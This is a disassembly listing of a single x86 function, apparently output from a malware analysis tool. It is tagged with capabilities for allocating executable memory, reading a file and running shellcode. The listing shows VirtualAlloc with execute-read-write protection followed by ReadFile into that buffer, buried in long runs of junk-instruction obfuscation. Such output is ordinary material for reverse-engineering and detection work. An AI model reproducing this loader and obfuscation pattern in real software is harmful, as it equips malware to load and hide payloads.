Function at 0x6b49ff31
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x6b4c2434]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [0x6b4c2438], eax
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0023
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0026
jmp 0x6b49ffa5
nop
mov dword [ebp - 0xc], 0x50
add dword [ebp - 0xc], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a00ec
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a00ef
jmp 0x6b4a006e
nop
mov dword [ebp - 0x10], 0x14
sub dword [ebp - 0x10], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a01b5
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a01b8
jmp 0x6b4a0137
nop
mov dword [ebp - 0x14], 0x50
add dword [ebp - 0x14], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a027e
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0281
jmp 0x6b4a0200
nop
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a033c
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a033f
jmp 0x6b4a02be
nop
mov dword [ebp - 0x18], 0x14
sub dword [ebp - 0x18], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0405
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0408
jmp 0x6b4a0387
nop
mov dword [ebp - 0x1c], 0x50
add dword [ebp - 0x1c], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a04ce
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a04d1
jmp 0x6b4a0450
nop
mov dword [ebp - 0x20], 0x14
sub dword [ebp - 0x20], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0597
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a059a
jmp 0x6b4a0519
nop
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0655
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0658
jmp 0x6b4a05d7
nop
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0713
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0716
jmp 0x6b4a0695
nop
mov dword [ebp - 0x24], 0x14
sub dword [ebp - 0x24], 1
mov eax, dword [0x6b4c2438]
test eax, eax
jne 0x6b4a1160
mov eax, dword [0x6b4c2428]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call eax
sub esp, 4
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a07fb
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a07fe
jmp 0x6b4a077d
nop
mov dword [ebp - 0x28], 0x50
add dword [ebp - 0x28], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a08c4
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a08c7
jmp 0x6b4a0846
nop
mov dword [ebp - 0x2c], 0x50
add dword [ebp - 0x2c], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a098d
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0990
jmp 0x6b4a090f
nop
mov dword [ebp - 0x30], 0x14
sub dword [ebp - 0x30], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0a56
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0a59
jmp 0x6b4a09d8
nop
mov dword [ebp - 0x34], 0x50
add dword [ebp - 0x34], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0b1f
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0b22
jmp 0x6b4a0aa1
nop
mov dword [ebp - 0x38], 0x14
sub dword [ebp - 0x38], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0be8
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0beb
jmp 0x6b4a0b6a
nop
mov dword [ebp - 0x3c], 0x50
add dword [ebp - 0x3c], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0cb1
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0cb4
jmp 0x6b4a0c33
nop
mov dword [ebp - 0x40], 0x50
add dword [ebp - 0x40], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0d7a
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0d7d
jmp 0x6b4a0cfc
nop
mov dword [ebp - 0x44], 0x50
add dword [ebp - 0x44], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0e43
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0e46
jmp 0x6b4a0dc5
nop
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0f01
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0f04
jmp 0x6b4a0e83
nop
mov dword [ebp - 0x48], 0x50
add dword [ebp - 0x48], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a0fca
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a0fcd
jmp 0x6b4a0f4c
nop
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a1088
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a108b
jmp 0x6b4a100a
nop
mov dword [ebp - 0x4c], 0x50
add dword [ebp - 0x4c], 1
nop
push dx
push cx
test cx, cx
xor cx, cx
mov cx, dx
xor dx, dx
test dx, dx
xor dx, dx
add cx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
xor dx, dx
test dx, dx
xor dx, dx
pop cx
pop dx
jmp 0x6b4a1151
push ax
push bx
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
mov bx, ax
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
xor bx, bx
test ax, ax
test ax, ax
xor bx, bx
test ax, ax
test ax, ax
test ax, ax
add bx, ax
pop bx
pop ax
nop
jmp 0x6b4a1154
jmp 0x6b4a10d3
nop
mov dword [ebp - 0x50], 0x50
add dword [ebp - 0x50], 1
mov eax, dword [0x6b4c2434]
mov ecx, eax
mov edx, dword [0x6b4c2438]
mov eax, dword [0x6b4c2428]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_ReadFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x6b4a1896
mov eax, dword [0x6b4c2428]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call eax
sub esp, 4
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a126b
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a126e
jmp 0x6b4a11ed
nop
mov dword [ebp - 0x54], 0x50
add dword [ebp - 0x54], 1
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a1334
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1337
jmp 0x6b4a12b6
nop
mov dword [ebp - 0x58], 0x14
sub dword [ebp - 0x58], 1
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a13fd
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1400
jmp 0x6b4a137f
nop
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a14bb
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a14be
jmp 0x6b4a143d
nop
mov dword [ebp - 0x5c], 0x14
sub dword [ebp - 0x5c], 1
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a1584
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1587
jmp 0x6b4a1506
nop
nop
